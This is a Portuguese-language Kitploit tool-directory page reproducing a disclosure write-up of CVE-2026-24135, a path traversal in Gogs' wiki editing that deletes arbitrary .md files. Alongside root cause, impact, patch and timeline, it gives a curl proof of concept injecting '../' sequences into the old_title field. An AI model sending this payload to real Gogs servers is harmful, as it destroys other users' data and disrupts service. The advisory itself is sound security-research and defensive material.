Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24135 — Exclusão Arbitrária de Arquivos no Gogs via Path Traversal na Wiki | Kitploit
Ferramentas/GitHubGitHub/reschjonas/cve-2026-24135
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAprendizado e Educação
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Exclusão Arbitrária de Arquivos no Gogs via Path Traversal na Wiki

Ver Repositório
11há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-24135: Exclusão Arbitrária de Arquivos no Gogs via Path Traversal no Wiki

Gravidade: Alta (CVSS 7.5)
Software Afetado: Gogs <= 0.13.3
Corrigido em: 0.13.4, 0.14.0+dev
Advisory: GHSA-jp7c-wj6q-3qf2
Patch: gogs/gogs#8099


Resumo

Durante uma auditoria de segurança do Gogs (um popular serviço Git auto-hospedado escrito em Go), encontrei uma vulnerabilidade de path traversal na função updateWikiPage. Ela permite que um usuário autenticado com acesso de escrita ao wiki exclua arquivos arbitrários no servidor injetando sequências de path traversal no parâmetro old_title do formulário de edição do wiki.


Causa Raiz

A vulnerabilidade é uma falha de sanitização assimétrica em internal/database/wiki.go. Quando uma página wiki é atualizada, a função trata dois parâmetros de título de forma diferente:

ParâmetroSanitizado?Usado em
title (novo nome)Sim — via ToWikiPageName()path.Join() para criação de arquivo
oldTitle (nome anterior)Nãopath.Join() + os.Remove()

Código Vulnerável

root@kitploit:~
// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

O valor de oldTitle flui diretamente da entrada do formulário controlada pelo usuário através do manipulador de rota para os.Remove() sem qualquer sanitização de caminho.


Fluxo de Dados

root@kitploit:~
User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246          │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

Vetor de Ataque

Pré-requisitos: Usuário autenticado com acesso de escrita a qualquer repositório wiki.

  1. Navegue até a edição de uma página wiki existente
  2. Intercepte a requisição POST para /repo/wiki/edit
  3. Modifique o campo do formulário old_title para incluir sequências de path traversal (ex.: ../../../../tmp/target_file)
  4. Envie a requisição
  5. O servidor resolve o caminho traversal e exclui o arquivo alvo

Prova de Conceito

root@kitploit:~
# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

A extensão .md é anexada automaticamente. Qualquer arquivo terminado em .md para o qual o processo Gogs tenha permissão de escrita pode ser excluído.


Impacto

ImpactoDescrição
Exclusão Arbitrária de ArquivosExclui qualquer arquivo .md que o processo do Gogs possa escrever
Negação de ServiçoRemove arquivos críticos de configuração ou dados
Perda de DadosDestrói páginas wiki, documentação ou arquivos de repositório de outros usuários
Escalação PotencialCombinada com outras vulnerabilidades, pode levar a maiores comprometimentos

Correção

Aplique a mesma sanitização ToWikiPageName ao oldTitle que já é aplicada ao title:

root@kitploit:~
 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

Propus essa correção durante a divulgação e os mantenedores do Gogs a implementaram no PR #8099.


Linha do Tempo da Divulgação

DataEvento
2025-12-13Vulnerabilidade descoberta durante auditoria de segurança
2025-12-13Advisory submetido via GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2)
2026-01-20Seguimento com mantenedores do Gogs
2026-01-20Mantenedor reconheceu a vulnerabilidade
2026-01-22Patch mesclado (#8099)
2026-01-22CVE-2026-24135 atribuída pelo GitHub
2026-02-06Divulgação pública

Referências

  • GitHub Security Advisory: GHSA-jp7c-wj6q-3qf2
  • Patch: gogs/gogs#8099
  • Gogs Project
Baixar ferramenta